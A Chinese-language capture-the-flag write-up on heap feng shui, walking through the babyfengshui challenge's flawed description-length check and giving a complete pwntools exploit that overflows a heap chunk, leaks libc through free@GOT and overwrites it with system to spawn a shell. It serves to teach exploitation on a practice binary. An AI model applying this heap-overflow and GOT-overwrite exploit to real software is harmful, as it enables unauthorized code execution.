所谓堆风水也叫作堆排布,其实说严格了并不是一种漏洞的利用方法,而是一种灵活布置堆块来控制堆布局的方法,在一些一些其他漏洞的利用中起到效果。通过一道经典的题目,由清华蓝莲花战队出的babyfengshui来看一下:
babyfengshui
没开PIE,但值得一提的是这是一个32位的程序,32位的堆是4字节对齐的。
总共四个功能,比较简单,添加、删除显示和修改描述。
添加功能会申请两个堆块,一个堆块大小是输入的大小,用来存放description,另一个堆块大小是固定的0x80,用来存放指向description的指针和name,name长124,正好是0x80-4。也就是说结构如下:
接着删除和输出都没什么问题,问题出在update,值得一提的是,update description功能是修改user的description,而add功能中也调用了update函数来第一次输入description:
出问题是判断语句,判断内容是description的地址加上要修改(输入)的长度不能覆盖到存放name那个堆块处。也就是说你第一次输入的description或者修改的description的长度不能达到图中红线处:
看起来好像没啥问题,但不要因为这两个堆块是连续分配的,就先入为主的认为这两个堆块是连续的!
试想一种情况,description的大小是我们能控制的,那么如果我们让description堆块大小位fastbins大小范围内,如0x20,连续申请两组,如下图:
这时释放user0:
那么这时候,我们申请一个user,但description长度我们选择0x80,那么就会出现description和name堆块之间并不连续,并且之间隔了两个堆块(一个user),而我们修改description可以一直溢出覆盖下两个堆块
那么利用方法就是:
exp如下:
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
context.terminal=['tmux','splitw','-h']
p = process(["/glibc/2.19/32/lib/ld-2.19.so","./babyfengshui"],env={"LD_PRELOAD":"/glibc/2.19/32/lib/libc-2.19.so"})
#gdb.attach(p)
libc = ELF("/glibc/2.19/32/lib/libc-2.19.so")
elf=ELF("./babyfengshui")
def add(deslen,txtlen,text):
p.sendlineafter("Action: ",str(0))
p.sendlineafter("size of description: ",str(deslen))
p.sendlineafter("name: ",'breeze')
p.sendlineafter("text length: ",str(txtlen))
p.sendlineafter("text: ",text)
def delete(id):
p.sendlineafter("Action: ",str(1))
p.sendlineafter("index: ",str(id))
def Display(id):
p.sendlineafter("Action: ",str(2))
p.sendlineafter("index: ",str(id))
def update(id,txtlen,text):
p.sendlineafter("Action: ",str(3))
p.sendlineafter("index: ",str(id))
p.sendlineafter("text length: ",str(txtlen))
p.sendlineafter("text: ",text)
free_got=elf.got['free']
add(0x20,0x20,'a'*0x20) #0
add(0x20,0x20,'a'*0x20) #1
delete(0)
add(0x80,0xb8,'a'*0xb0+p32(free_got)) #2
add(0x80,0x8,'/bin/sh\x00') #3
Display(1)
p.recvuntil("description: ")
leak=u32(p.recv(4))
print "leak->"+hex(leak)
libc_base=leak-(0xf7d9dc30 -0xf7d28000)
print "libc_base->"+hex(libc_base)
system_addr=libc_base+libc.symbols['system']
update(1,4,p32(system_addr))
delete(3)
p.interactive()
raw_input()